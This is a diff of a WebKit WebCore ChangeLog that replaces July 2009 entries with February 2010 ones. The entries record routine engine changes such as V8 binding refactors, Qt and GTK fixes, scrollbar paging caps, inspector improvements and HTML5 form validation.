         * bindings/v8/custom/V8MessagePortCustom.cpp:
-        (WebCore::ACCESSOR_SETTER):
-        (WebCore::CALLBACK_FUNC_DECL):
         * bindings/v8/custom/V8NodeCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8NodeFilterCustom.cpp:
+        * bindings/v8/custom/V8SQLResultSetRowListCustom.cpp:
+        * bindings/v8/custom/V8SQLTransactionCustom.cpp:
         * bindings/v8/custom/V8SVGElementInstanceCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8SVGLengthCustom.cpp:
+        * bindings/v8/custom/V8SharedWorkerCustom.cpp:
+        * bindings/v8/custom/V8StorageCustom.cpp:
+        * bindings/v8/custom/V8WebGLArrayBufferCustom.cpp:
+        * bindings/v8/custom/V8WebGLArrayCustom.h:
+        * bindings/v8/custom/V8WebGLByteArrayCustom.cpp:
+        * bindings/v8/custom/V8WebGLFloatArrayCustom.cpp:
+        * bindings/v8/custom/V8WebGLIntArrayCustom.cpp:
+        * bindings/v8/custom/V8WebGLShortArrayCustom.cpp:
+        * bindings/v8/custom/V8WebGLUnsignedByteArrayCustom.cpp:
+        * bindings/v8/custom/V8WebGLUnsignedIntArrayCustom.cpp:
+        * bindings/v8/custom/V8WebGLUnsignedShortArrayCustom.cpp:
+        * bindings/v8/custom/V8WebKitPointConstructor.cpp:
+        * bindings/v8/custom/V8WorkerContextCustom.cpp:
         * bindings/v8/custom/V8WorkerCustom.cpp:
-        (WebCore::getEventListener):
+        * bindings/v8/custom/V8XMLHttpRequestConstructor.cpp:
         * bindings/v8/custom/V8XMLHttpRequestCustom.cpp:
-        (WebCore::getEventListener):
         * bindings/v8/custom/V8XMLHttpRequestUploadCustom.cpp:
-        (WebCore::ACCESSOR_SETTER):
-        (WebCore::CALLBACK_FUNC_DECL):
-
-2009-07-18  Jan Michael Alonzo  <jmalonzo@webkit.org>
-
-        Reviewed by Gustavo Noronha.
-
-        [Gtk] soup/ResourceHandleSoup.cpp:533: error: 'g_mapped_file_free' was not declared in this scope
-        https://bugs.webkit.org/show_bug.cgi?id=27230
-
-        Use g_mapped_file_unref for GLIB version 2.22 onwards.
-
-        * platform/network/soup/ResourceHandleSoup.cpp:
-        (WebCore::ResourceHandle::startHttp):
-
-2009-07-18  Dan Bernstein  <mitz@apple.com>
-
-        Reviewed by Anders Carlsson.
 
-        Add spread radius support to -webkit-box-shadow
-        https://bugs.webkit.org/show_bug.cgi?id=27417
-        rdar://problem/7072267
+2010-02-04  Ariya Hidayat  <ariya.hidayat@gmail.com>
 
-        Test: fast/box-shadow/spread.html
-
-        * css/CSSComputedStyleDeclaration.cpp:
-        (WebCore::valueForShadow): Added a property ID parameter and used it to
-            include the spread length for box-shadow but not for text-shadow.
-        (WebCore::CSSComputedStyleDeclaration::getPropertyCSSValue):
-            Pass the property ID to valueForShadow().
-
-        * css/CSSParser.cpp:
-        (WebCore::ShadowParseContext::ShadowParseContext): Added property,
-            spread, and allowSpread members. Added a property ID parameter to
-            the constructor. Initialize the property and allowSpread members.
-        (WebCore::ShadowParseContext::allowLength): Added allowSpread.
-        (WebCore::ShadowParseContext::commitValue): Pass the spread value to
-            the ShadowValue constructor. Reset allowSpread.
-        (WebCore::ShadowParseContext::commitLength): Allow spread after blur
-            for the box-shadow property.
-        (WebCore::ShadowParseContext::commitColor): Reset allowSpread.
-        (WebCore::CSSParser::parseShadow): Pass the property ID to
-            ShadowParseContext().
+        Reviewed by Simon Hausmann.
 
-        * css/CSSStyleSelector.cpp:
-        (WebCore::CSSStyleSelector::applyProperty): Get the spread value from
-            the shadow value and pass it to the ShadowData constructor.
+        [Qt] Unnecessary QBrush construction for doing a solid fill
+        https://bugs.webkit.org/show_bug.cgi?id=34559
 
-        * css/ShadowValue.cpp:
-        (WebCore::ShadowValue::ShadowValue): Added spread.
-        (WebCore::ShadowValue::cssText): Added spread.
+        Use the similar trick like r37421, i.e. use the special brush for
+        solid color to avoid creating QBrush again and again.
 
-        * css/ShadowValue.h:
-        (WebCore::ShadowValue::create): Added spread.
+        * platform/graphics/qt/GraphicsContextQt.cpp:
+        (WebCore::GraphicsContext::setPlatformFillColor):
 
-        * page/animation/AnimationBase.cpp:
-        (WebCore::blendFunc): Blend the spread value.
-        (WebCore::PropertyWrapperShadow::blend): Added 0 spread to the default
-            shadow.
+2010-02-04  Dan Bernstein  <mitz@apple.com>
 
-        * rendering/InlineFlowBox.cpp:
-        (WebCore::InlineFlowBox::placeBoxesHorizontally): Account for spread in
-            the visual overflow calculations.
-        (WebCore::InlineFlowBox::placeBoxesVertically): Ditto.
-        (WebCore::InlineFlowBox::paint): Ditto.
+        Reviewed by Simon Fraser.
 
-        * rendering/RenderBlock.cpp:
-        (WebCore::RenderBlock::overflowHeight): Ditto.
-        (WebCore::RenderBlock::overflowWidth): Ditto.
-        (WebCore::RenderBlock::overflowLeft): Ditto.
-        (WebCore::RenderBlock::overflowTop): Ditto.
-        (WebCore::RenderBlock::overflowRect): Ditto.
-        (WebCore::RenderBlock::layoutBlock): Ditto.
+        REGRESSION (r53718): When scrolling a tall window by page, the overlap between pages is too big
+        https://bugs.webkit.org/show_bug.cgi?id=34371
 
-        * rendering/RenderBoxModelObject.cpp:
-        (WebCore::RenderBoxModelObject::paintBoxShadow): Inflate the shadow-
-            casting rect by the shadow spread value. Adjust border radii if
-            necessary.
+        Allow ScrollbarTheme to cap the overlap between pages, and set a cap of
+        40 in ScrollbarThemeMac.
 
-        * rendering/RenderFlexibleBox.cpp:
-        (WebCore::RenderFlexibleBox::layoutBlock): Account for spread in the
-            visual overflow calculations.
+        * WebCore.base.exp: Export Scrollbar::maxOverlapBetweenPages().
+        * editing/EditorCommand.cpp:
+        (WebCore::verticalScrollDistance): Use Scrollbar methods instead of
+        constants, and cap the scroll distance if needed.
+        * platform/ScrollView.cpp:
+        (WebCore::ScrollView::updateScrollbars): Ditto.
+        (WebCore::ScrollView::wheelEvent): Ditto.
+        * platform/Scrollbar.cpp:
+        (WebCore::Scrollbar::maxOverlapBetweenPages): Added. Returns the
+        value from the native scrollbar theme.
+        * platform/Scrollbar.h: Replaced scroll amount constants with static methods.
+        (WebCore::Scrollbar::pixelsPerLineStep): Replaces cScrollbarPixelsPerLineStep.
+        (WebCore::Scrollbar::minFractionToStepWhenPaging): Replaces cFractionToStepWhenPaging.
+        * platform/ScrollbarTheme.h:
+        (WebCore::ScrollbarTheme::maxOverlapBetweenPages): A base implementation
+        that returns the largest int.
+        * platform/gtk/WheelEventGtk.cpp:
+        (WebCore::PlatformWheelEvent::PlatformWheelEvent): Use Scrollbar methods instead of
+        constants.
+        * platform/haiku/PlatformWheelEventHaiku.cpp:
+        (WebCore::PlatformWheelEvent::PlatformWheelEvent): Use Scrollbar methods instead of
+        constants.
+        * platform/mac/ScrollbarThemeMac.h:
+        (WebCore::ScrollbarThemeMac::maxOverlapBetweenPages): An override
+        that returns 40.
+        * platform/mac/WheelEventMac.mm:
+        (WebCore::PlatformWheelEvent::PlatformWheelEvent): Use
+        Scrollbar::pixelsPerLineStep() instead of cScrollbarPixelsPerLineStep.
+        * platform/wx/MouseWheelEventWx.cpp:
+        (WebCore::PlatformWheelEvent::PlatformWheelEvent): Use Scrollbar methods instead of
+        constants.
+        * platform/wx/ScrollViewWx.cpp:
+        (WebCore::ScrollView::ScrollViewPrivate::OnScrollWinEvents): Use Scrollbar
+        methods instead of constants, and cap the scroll distance if needed.
         * rendering/RenderLayer.cpp:
-        (WebCore::RenderLayer::calculateRects): Ditto.
-
-        * rendering/RenderObject.cpp:
-        (WebCore::RenderObject::repaintAfterLayoutIfNeeded): Account for spread.
-        (WebCore::RenderObject::adjustRectForOutlineAndShadow): Ditto.
-
-        * rendering/RenderReplaced.cpp:
-        (WebCore::RenderReplaced::adjustOverflowForBoxShadowAndReflect): Ditto.
-
-        * rendering/style/RenderStyle.cpp:
-        (WebCore::RenderStyle::setTextShadow): Assert that text shadows do not
-            have spread.
-
-        * rendering/style/ShadowData.cpp:
-        (WebCore::ShadowData::ShadowData): Added spread.
-        (WebCore::ShadowData::operator==): Compare spread.
-        * rendering/style/ShadowData.h:
-        (WebCore::ShadowData::ShadowData): Added spread.
+        (WebCore::RenderLayer::updateScrollInfoAfterLayout): Ditto.
 
-2009-07-18  Adam Barth  <abarth@webkit.org>
+2010-02-04  No'am Rosenthal  <noam.rosenthal@nokia.com>
 
-        Reviewed by Jan Alonzo.
-
-        Minor FrameLoader.cpp cleanup
-        https://bugs.webkit.org/show_bug.cgi?id=27406
-
-        No behavior change.
-
-        * loader/FrameLoader.cpp:
-        (WebCore::FrameLoader::executeIfJavaScriptURL):
-
-2009-07-18  Adam Barth  <abarth@webkit.org>
-
-        Reviewed by Darin Fisher.
+        Reviewed by Ariya Hidayat.
 
-        [V8] Move event listener methods from V8Proxy to V8EventListenerList
-        https://bugs.webkit.org/show_bug.cgi?id=27408
+        [Qt] Tuning and optimizations to GraphicsLayerQt. Reduce unnecessary
+        recaching, remove QTimer::singleShot and QPixmap::scaled, more
+        accurate strategy of handling transform operation blends. Rotating a
+        bordered-table, for example, now runs at 50FPS instead of 40FPS on Maemo5.
 
-        Move some event listener code out of V8Proxy and into the event
-        listener list.
+        https://bugs.webkit.org/show_bug.cgi?id=34062
 
-        I'd like to remove these methods from V8Proxy entirely and just expose
-        getters for the lists themselves, but I'll do that in a follow up
-        patch.
+        This is tested by https://bugs.webkit.org/show_bug.cgi?id=34450, fps measurements.
 
-        * bindings/v8/V8EventListenerList.cpp:
-        (WebCore::V8EventListenerList::findWrapper):
-        * bindings/v8/V8EventListenerList.h:
-        (WebCore::V8EventListenerList::findOrCreateWrapper):
-        * bindings/v8/V8ObjectEventListener.cpp:
-        * bindings/v8/V8Proxy.cpp:
-        (WebCore::V8Proxy::findV8EventListener):
-        (WebCore::V8Proxy::findOrCreateV8EventListener):
-        (WebCore::V8Proxy::removeV8EventListener):
-        (WebCore::V8Proxy::findObjectEventListener):
-        (WebCore::V8Proxy::findOrCreateObjectEventListener):
-        (WebCore::V8Proxy::removeObjectEventListener):
-        * bindings/v8/V8Proxy.h:
+        * platform/graphics/qt/GraphicsLayerQt.cpp:
+        (WebCore::GraphicsLayerQtImpl::flushChanges): Fine-tune caching
+        (WebCore::TransformAnimationQt::TransformAnimationQt): transform bugs
+        (WebCore::OpacityAnimationQt::updateState): style change
 
-2009-07-18  Jeremy Orlow  <jorlow@chromium.org>
+2010-02-04  Pavel Feldman  <pfeldman@chromium.org>
 
-        Rubber stamped by Adam Barth.
+        Reviewed by Timothy Hatcher.
 
-        Revert https://bugs.webkit.org/show_bug.cgi?id=27383
-        https://bugs.webkit.org/show_bug.cgi?id=27407
+        Web Inspector: Cookies for resources are not shown in storage panel.
 
-        Revert Jens' patch.  I believe he forgot to include a file.
+        https://bugs.webkit.org/show_bug.cgi?id=34594
 
-        * WebCore.gypi:
-        * bindings/scripts/CodeGeneratorV8.pm:
-        * bindings/v8/DOMObjectsInclude.h:
-        * bindings/v8/V8DOMWrapper.cpp:
-        (WebCore::V8DOMWrapper::getTemplate):
-        * bindings/v8/V8DataGridDataSource.cpp: Removed.
-        * bindings/v8/V8DataGridDataSource.h: Removed.
-        * bindings/v8/V8GCController.h:
-        * bindings/v8/V8Index.h:
-        * bindings/v8/custom/V8CustomBinding.h:
-        * bindings/v8/custom/V8HTMLDataGridElementCustom.cpp:
-        (WebCore::ACCESSOR_GETTER):
-        (WebCore::ACCESSOR_SETTER):
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::getCookies):
+        * inspector/InspectorResource.cpp:
+        (WebCore::InspectorResource::updateScriptObject):
+        (WebCore::InspectorResource::cachedResource):
+        * inspector/InspectorResource.h:
+        (WebCore::InspectorResource::requestURL):
 
-2009-07-17  Daniel Bates  <dbates@intudata.com>
+2010-02-04  Anton Muhin  <antonm@chromium.org>
 
         Reviewed by Adam Barth.
-        
-        https://bugs.webkit.org/show_bug.cgi?id=27405
-
-        Fixes an issue when decoding HTML entities with an unknown named entity that 
-        caused null-characters to be inserted into the decoded result.
-
-        Test: http/tests/security/xssAuditor/link-onclick-ampersand.html
-              http/tests/security/xssAuditor/javascript-link-ampersand.html
-
-        * page/XSSAuditor.cpp:
-        (WebCore::XSSAuditor::decodeHTMLEntities): Added check to conditional so that
-        non-zero entity values are not inserted during decoding process.
-
-2009-07-17  Jan Michael Alonzo  <jmalonzo@webkit.org>
-
-        <http://webkit.org/b/18363> [GTK] Combo boxes cannot be opened pressing space
-
-        Reviewed by Holger Freyther.
-
-        Add Gtk to platforms that want to open the menulist using the
-        spacebar.
-
-        * dom/SelectElement.cpp:
-        (WebCore::SelectElement::menuListDefaultEventHandler):
-
-2009-07-17  Mario Sanchez Prada  <msanchez@igalia.com>
-
-        Reviewed by Jan Alonzo.
-
-        https://bugs.webkit.org/show_bug.cgi?id=25523
-        [GTK] The text displayed by push buttons is not exposed to assistive technologies
-
-        Add new public method text() to RenderButton and use it from
-        AccessibilityRenderObject::stringValue().
-
-        * accessibility/AccessibilityRenderObject.cpp:
-        (WebCore::AccessibilityRenderObject::stringValue):
-        * rendering/RenderButton.cpp:
-        (WebCore::RenderButton::text):
-        * rendering/RenderButton.h:
-
-2009-07-17  Anton Muhin  <antonm@chromium.org>
 
-        Reviewed by Dimitri Glazkov.
-
-        Restore proxy retrieval
-        https://bugs.webkit.org/show_bug.cgi?id=27369
+        [v8] Remove clear method from DOM object maps
+        https://bugs.webkit.org/show_bug.cgi?id=34530
 
-        No new tests are needed.
+        No new tests. Should be covered by existent testing infrastructure.
 
-        * bindings/v8/V8DOMWrapper.cpp:
-        (WebCore::V8DOMWrapper::instantiateV8Object):
-
-2009-07-17  Yael Aharon  <yael.aharon@nokia.com>
-
-        Reviewed by George Staikos.
+        * bindings/v8/DOMData.h:
+        * bindings/v8/DOMDataStore.h:
+        * bindings/v8/V8DOMMap.cpp:
+        * bindings/v8/V8DOMMap.h:
+        * bindings/v8/WorkerScriptController.cpp:
+        (WebCore::WorkerScriptController::~WorkerScriptController):
 
-        https://bugs.webkit.org/show_bug.cgi?id=27351
-        Added platform "Symbian" to WEBCORE_NAVIGATOR_PLATFORM
-        Use uname to find the correct platform for Linux.
+2010-02-04  Holger Hans Peter Freyther  <zecke@selfish.org>
 
-        * page/NavigatorBase.cpp:
-        (WebCore::NavigatorBase::platform):
+        Reviewed by Xan Lopez.
 
-2009-07-17  Jens Alfke  <snej@chromium.org>
+        [Gtk] Check if the renderer() exists in textForObject.
 
-        Reviewed by Dimitri Glazkov.
+        This is fixing a crash in the textForObject method. It can
+        happen when inspecting AtkObjects in the accerciser, then
+        navigating to a new page and still inspecting the old tree.
 
-        Hook up V8 bindings for DataGrid elements.
-        https://bugs.webkit.org/show_bug.cgi?id=27383
-        http://code.google.com/p/chromium/issues/detail?id=16730
-
-        Tests: Enhanced LayoutTests/fast/dom/HTMLDataGridElement/*
-        to handle exceptions, check appropriate JS prototypes, and
-        test column-list's item() method as well as array-indexing.
-
-        * WebCore.gypi: Added new source files.
-        * bindings/scripts/CodeGeneratorV8.pm: Made GenerateBatchedAttributeData put #if's around conditional attributes.
-        * bindings/v8/DOMObjectsInclude.h: #include DataGrid headers.
-        * bindings/v8/V8DOMWrapper.cpp: Add bindings from HTML tags to datagrid templates.
-        (WebCore::V8DOMWrapper::getTemplate): Customize datagrid template.
-        * bindings/v8/V8DataGridDataSource.cpp: Added. (Based on JSDataGridDataSource)
-        (WebCore::V8DataGridDataSource::V8DataGridDataSource):
-        (WebCore::V8DataGridDataSource::~V8DataGridDataSource):
-        * bindings/v8/V8DataGridDataSource.h: Added. (Based on JSDataGridDataSource)
-        (WebCore::V8DataGridDataSource::create):
-        (WebCore::V8DataGridDataSource::isJSDataGridDataSource):
-        (WebCore::V8DataGridDataSource::jsDataSource):
-        (WebCore::asV8DataGridDataSource):
-        * bindings/v8/V8GCController.h: Added new handle type "DATASOURCE".
-        * bindings/v8/V8Index.h: Conditionalize datagrid stuff.
-        * bindings/v8/custom/V8CustomBinding.h: Declare more accessors. Conditionalize.
-        * bindings/v8/custom/V8HTMLDataGridElementCustom.cpp: Fill in dataSource accessors.
-        (WebCore::ACCESSOR_GETTER):
-        (WebCore::ACCESSOR_SETTER):
-
-2009-07-17  Jeremy Orlow  <jorlow@chromium.org>
+        In this case the AccessibilityObjectWrapperAtk was still
+        valid but the included renderer() was returning 0. Add a
+        check for the accObject->renderer() before trying to use
+        the result.
 
-        Reviewed by Darin Fisher.
+        * accessibility/gtk/AccessibilityObjectWrapperAtk.cpp:
+        (textForObject):
 
-        StorageArea should only contain methods we intend to proxy.
-        https://bugs.webkit.org/show_bug.cgi?id=27181
+2010-02-04  Yury Semikhatsky  <yurys@chromium.org>
 
-        Right now, StorageAreaSync takes in a StorageArea* and calls methods
-        like importItem.  Really, StorageAreaSync should be operating directly
-        on StorageAreaImpl* and those methods should be removed from StorageArea
-        since StorageAreaSync should never be attached to anything other than a
-        StorageAreaImpl.
+        Reviewed by Pavel Feldman.
 
-        This was pointed out in the review for
-        https://bugs.webkit.org/show_bug.cgi?id=27072
+        Provide strongly typed C++ interface for inspector's injected script.
 
-        Also clean up StorageNamespaceImpl to operate directly on
-        StorageAreaImpl.  Also, get rid of the factory for StorageArea
-        since nothing should ever create a StorageArea directly.
+        https://bugs.webkit.org/show_bug.cgi?id=33616
 
         * GNUmakefile.am:
+        * WebCore.gypi:
+        * WebCore.pro:
         * WebCore.vcproj/WebCore.vcproj:
         * WebCore.xcodeproj/project.pbxproj:
-        * WebCoreSources.bkl:
-        * storage/StorageArea.cpp: Removed.
-        * storage/StorageArea.h:
-        (WebCore::StorageArea::~StorageArea):
-        * storage/StorageAreaImpl.cpp:
-        (WebCore::StorageAreaImpl::copy):
-        * storage/StorageAreaImpl.h:
-        * storage/StorageAreaSync.cpp:
-        (WebCore::StorageAreaSync::create):
-        (WebCore::StorageAreaSync::StorageAreaSync):
-        * storage/StorageAreaSync.h:
-        * storage/StorageNamespaceImpl.cpp:
-        (WebCore::StorageNamespaceImpl::copy):
-        (WebCore::StorageNamespaceImpl::storageArea):
-        * storage/StorageNamespaceImpl.h:
-
-2009-07-17  Jeremy Orlow  <jorlow@chromium.org>
-
-        Reviewed by Dimitri Glazkov.
-
-        Add v8 implementation for DOM Storage ScriptObjectQuarantine.
-        https://bugs.webkit.org/show_bug.cgi?id=27327
-
-        Wrap the storage object with a generic object as is done elsewhere in
-        the file (but continue to hit a NOTIMPLEMENTED if DOM_STORAGE is not
-        enabled.
-
-        * bindings/v8/ScriptObjectQuarantine.cpp:
-        (WebCore::getQuarantinedScriptObject):
-
-2009-07-17  Mads Ager  <ager@chromium.org>
-
-        Reviewed by Dimitri Glazkov.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27394
-        Fix access to global object wrappers after navigation of their
-        frame in the V8 bindings.  This fixes selenium test failures.
-
-        * bindings/v8/V8Proxy.cpp:
-        (WebCore::V8Proxy::updateDocument):
-
-2009-07-17  Mark Rowe  <mrowe@apple.com>
-
-        Fix the 32-bit build by removing implicit float <-> double conversions.
-
-        * inspector/InspectorController.cpp:
-        (WebCore::constrainedAttachedWindowHeight):
-
-2009-07-17  Brian Weinstein  <bweinstein@apple.com>
-
-        Reviewed by Adam Roben.
-
-        Fix of <rdar://problem/5712795> Win: Cannot change the height of the docked Web Inspector (14272)
-        https://bugs.webkit.org/show_bug.cgi?id=14272
-        
-        Moved preference setting for attached inspector height and inspector height calculation from
-        WebInspectorClient.mm into InspectorController.cpp, to make this code cross-platform and enable
-        Windows resizing of attached inspector.
-
+        * bindings/js/JSInjectedScriptHostCustom.cpp:
+        (WebCore::InjectedScriptHost::injectedScriptFor):
+        * bindings/v8/custom/V8InjectedScriptHostCustom.cpp:
+        (WebCore::InjectedScriptHost::injectedScriptFor):
+        * inspector/InjectedScript.cpp: Added.
+        (WebCore::InjectedScript::InjectedScript):
+        (WebCore::InjectedScript::dispatch):
+        (WebCore::InjectedScript::callFrames):
+        (WebCore::InjectedScript::wrapAndStringifyForConsole):
+        (WebCore::InjectedScript::releaseWrapperObjectGroup):
+        * inspector/InjectedScript.h: Added.
+        (WebCore::InjectedScript::InjectedScript):
+        (WebCore::InjectedScript::~InjectedScript):
+        (WebCore::InjectedScript::hasNoValue):
+        * inspector/InjectedScriptHost.cpp:
+        (WebCore::InjectedScriptHost::injectedScriptForId):
+        (WebCore::InjectedScriptHost::releaseWrapperObjectGroup):
+        * inspector/InjectedScriptHost.h:
+        * inspector/InspectorBackend.cpp:
+        (WebCore::InspectorBackend::dispatchOnInjectedScript):
         * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::InspectorController):
+        (WebCore::InspectorController::~InspectorController):
+        (WebCore::InspectorController::inspectedPageDestroyed):
+        (WebCore::InspectorController::windowScriptObjectAvailable):
+        (WebCore::InspectorController::scriptObjectReady):
+        (WebCore::InspectorController::setFrontendProxyObject):
+        (WebCore::InspectorController::close):
+        (WebCore::InspectorController::getProfile):
+        (WebCore::InspectorController::enableDebugger):
+        (WebCore::InspectorController::didPause):
+        (WebCore::InspectorController::injectedScriptForNodeId):
         * inspector/InspectorController.h:
+        (WebCore::InspectorController::frontendScriptState):
+        * inspector/InspectorFrontend.cpp:
+        (WebCore::InspectorFrontend::addConsoleMessage):
+        * inspector/front-end/InjectedScript.js:
+        (injectedScriptConstructor):
 
-2009-07-17  Dan Bernstein  <mitz@apple.com>
-
-        Another attempt at fixing the build after r46063
-
-        * WebCore.xcodeproj/project.pbxproj: Made ExceptionCode.h a private
-            header, because it is now included from htmlediting.h, which is
-            a private header.
-
-2009-07-17  Alexey Proskuryakov  <ap@webkit.org>
-
-        Reviewed by Dan Bernstein.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27396
-        Moving cursor in Thai text sometimes jumps over two characters
-
-        Test: editing/text-iterator/thai-cursor-movement.html
-
-        * platform/text/TextBreakIteratorICU.cpp: (WebCore::cursorMovementIterator): Added a special
-        case for five Thai characters, matching ICU/CLDR changes.
-
-2009-07-14  Eric Seidel  <eric@webkit.org>
-
-        Reviewed by Adam Barth.
-
-        Some constructor objects exposed on Window have the wrong prototype chain
-        https://bugs.webkit.org/show_bug.cgi?id=27276
-
-        Several Constructor classes were already being passed a global object
-        during construction, but they were ignoring it for prototype lookup.
-        I've fixed those to use the passed global object instead.
-
-        Most of these Constructor classes should just be auto-generated, but I
-        refrained from changing them over to auto-gen in this patch.
-
-        Fixed CodeGeneratorJS to pass a global object to getDOMConstructor when
-        available, otherwise default to deprecatedGlobalObjectForPrototype(exec)
-        to match existing behavior.
-
-        Test: fast/dom/prototype-inheritance.html
+2010-02-04  Philippe Normand  <pnormand@igalia.com>
 
-        * bindings/js/JSAudioConstructor.cpp:
-        (WebCore::JSAudioConstructor::JSAudioConstructor): use the existing globalObject pointer for prototype lookup
-        * bindings/js/JSDOMBinding.h:
-        (WebCore::deprecatedGlobalObjectForPrototype): Make it easy to detect where the wrong global object is being used.
-        (WebCore::deprecatedGetDOMStructure):
-        * bindings/js/JSDOMGlobalObject.h: remove error-prone getDOMConstructor, require passing JSDOMGlobalObject*
-        * bindings/js/JSDOMWindowCustom.cpp:
-        (WebCore::JSDOMWindow::webKitPoint): pass "this" for the global object.
-        (WebCore::JSDOMWindow::webKitCSSMatrix): pass "this" for the global object.
-        (WebCore::JSDOMWindow::xsltProcessor): pass "this" for the global object.
-        (WebCore::JSDOMWindow::worker): pass "this" for the global object.
-        * bindings/js/JSImageConstructor.cpp:
-        (WebCore::JSImageConstructor::JSImageConstructor): use the existing globalObject pointer for prototype lookup
-        * bindings/js/JSMessageChannelConstructor.cpp:
-        (WebCore::JSMessageChannelConstructor::JSMessageChannelConstructor): use the existing globalObject pointer for prototype lookup
-        * bindings/js/JSOptionConstructor.cpp:
-        (WebCore::JSOptionConstructor::JSOptionConstructor): use the existing globalObject pointer for prototype lookup
-        * bindings/js/JSWebKitCSSMatrixConstructor.cpp:
-        (WebCore::JSWebKitCSSMatrixConstructor::JSWebKitCSSMatrixConstructor): add new globalObject parameter and use it
-        * bindings/js/JSWebKitCSSMatrixConstructor.h:
-        * bindings/js/JSWebKitPointConstructor.cpp:
-        (WebCore::JSWebKitPointConstructor::JSWebKitPointConstructor): add new globalObject parameter and use it
-        * bindings/js/JSWebKitPointConstructor.h:
-        * bindings/js/JSWorkerConstructor.cpp:
-        (WebCore::JSWorkerConstructor::JSWorkerConstructor): add new globalObject parameter and use it
-        * bindings/js/JSWorkerConstructor.h:
-        * bindings/js/JSXMLHttpRequestConstructor.cpp:
-        (WebCore::JSXMLHttpRequestConstructor::JSXMLHttpRequestConstructor): use the existing globalObject pointer for prototype lookup
-         -- XMLHttpRequest constructor was also missing a length.  Added one.
-        * bindings/js/JSXSLTProcessorConstructor.cpp:
-        (WebCore::JSXSLTProcessorConstructor::JSXSLTProcessorConstructor):
-        * bindings/js/JSXSLTProcessorConstructor.h:
-        * bindings/scripts/CodeGeneratorJS.pm:
+        Rubber stamped by Xan Lopez.
 
-2009-07-17  Dan Bernstein  <mitz@apple.com>
+        Missing include, build fix after landing of patch from the bug 34435.
 
-        Build fix
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
 
-        * editing/htmlediting.cpp:
-        (WebCore::visiblePositionBeforeNode):
-        (WebCore::visiblePositionAfterNode):
+2010-02-02  Philippe Normand  <pnormand@igalia.com>
 
-2009-07-17  Jan Michael Alonzo  <jmalonzo@webkit.org>
+        Reviewed by Gustavo Noronha Silva.
 
-        Gtk build fix for symbol lookup error.
+        [Gtk] libsoup critical warning in media player http cookies injection code
+        https://bugs.webkit.org/show_bug.cgi?id=34435
 
-        Move AbstractWorker from SHARED_WORKERS to WORKERS as Worker derives from it now
-        Changed in http://trac.webkit.org/changeset/46048
+        Fixed the critical warning and refactored the
+        User-Agent/Referer/cookies injection code, in that order. Previous
+        order (cookies first) was wrong because if cookies injection could
+        not be done neither the User-Agent nor Referer were injected. Also
+        started a non-JSC-specific, gtk-specific GOwnPtr module.
 
         * GNUmakefile.am:
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
+        (WebCore::mediaPlayerPrivateSourceChangedCallback):
+        * platform/gtk/GOwnPtrGtk.cpp: Added.
+        (WTF::SoupURI):
+        (WTF::GstElement):
+        * platform/gtk/GOwnPtrGtk.h: Added.
 
-2009-07-17  Ryosuke Niwa  <ryosuke.niwa@gmail.com>
-
-        Reviewed by Eric Seidel.
-
-        htmlediting.cpp needs more utility functions to fix the bug 26816
-        https://bugs.webkit.org/show_bug.cgi?id=27038
-
-        In order to fix the bug 26816, we need several utility functions be added to htmlediting.cpp
-
-        No tests because functions haven't been used anywhere yet.
-
-        * dom/Range.cpp:
-        (WebCore::Range::create):
-        (WebCore::Range::comparePoint): added const qualifier
-        (WebCore::Range::compareNode): added const qualifier
-        * dom/Range.h:
-        * editing/htmlediting.cpp:
-        (WebCore::unsplittableElementForPosition): find the enclosing unsplittable element (editing root & table cell)
-        (WebCore::positionBeforeNode): added ASSERT(node)
-        (WebCore::positionAfterNode): added ASSERT(node)
-        (WebCore::visiblePositionBeforeNode):
-        (WebCore::visiblePositionAfterNode):
-        (WebCore::createRange): create a range object from two visible positions
-        (WebCore::extendRangeToWrappingNodes): extend range to include nodes that starts and ends at the boundaries
-        (WebCore::canMergeLists): typo
-        (WebCore::indexForVisiblePosition): added const qualifier
-        (WebCore::isVisiblyAdjacent): typo
-        (WebCore::isNodeVisiblyContainedWithin): determine if a node is inside a range or within the visible boundaries of the range
-        * editing/htmlediting.h:
-
-2009-07-17  Michelangelo De Simone  <micdesim@gmail.com>
-
-        Reviewed by Darin Adler.
-
-        https://bugs.webkit.org/show_bug.cgi?id=25551
-        Added support for the "required" attribute, the valueMissing flag
-        to the ValidityState object and :required/:optional CSS pseudoclasses.
-        Part of HTML5 sec. Forms specs.
-        http://www.whatwg.org/specs/web-apps/current-work/multipage/forms.html#attr-input-required
-
-        Tests: fast/css/pseudo-required-optional-001.html
-               fast/css/pseudo-required-optional-002.html
-               fast/css/pseudo-required-optional-003.html
-               fast/css/pseudo-required-optional-004.html
-               fast/css/pseudo-required-optional-005.html
-               fast/css/pseudo-required-optional-006.html
-               fast/forms/ValidityState-valueMissing-001.html
-               fast/forms/ValidityState-valueMissing-002.html
-               fast/forms/ValidityState-valueMissing-003.html
-               fast/forms/ValidityState-valueMissing-004.html
-               fast/forms/ValidityState-valueMissing-005.html
-               fast/forms/ValidityState-valueMissing-006.html
-               fast/forms/ValidityState-valueMissing-007.html
-               fast/forms/ValidityState-valueMissing-008.html
-               fast/forms/ValidityState-valueMissing-009.html
-               fast/forms/required-attribute-001.html
-               fast/forms/required-attribute-002.html
-
-        * css/CSSSelector.cpp:
-        (WebCore::CSSSelector::extractPseudoType): pseudoRequired/pseudoOptional
-        * css/CSSSelector.h:
-        (WebCore::CSSSelector::): ditto
-        * css/CSSStyleSelector.cpp:
-        (WebCore::CSSStyleSelector::SelectorChecker::checkOneSelector): ditto
-        * dom/Element.h:
-        (WebCore::Element::isOptionalFormControl): check for optional controls
-        (WebCore::Element::isRequiredFormControl): check for required controls
-        * html/HTMLAttributeNames.in: required attribute
-        * html/HTMLButtonElement.h:
-        (WebCore::HTMLButtonElement::isOptionalFormControl): ditto
-        * html/HTMLFormControlElement.cpp:
-        (WebCore::HTMLFormControlElement::required): requiredAttr getter
-        (WebCore::HTMLFormControlElement::setRequired): requiredAttr setter
-        * html/HTMLFormControlElement.h:
-        (WebCore::HTMLFormControlElement::valueMissing): method definition
-        * html/HTMLInputElement.cpp:
-        (WebCore::HTMLInputElement::valueMissing): validation code
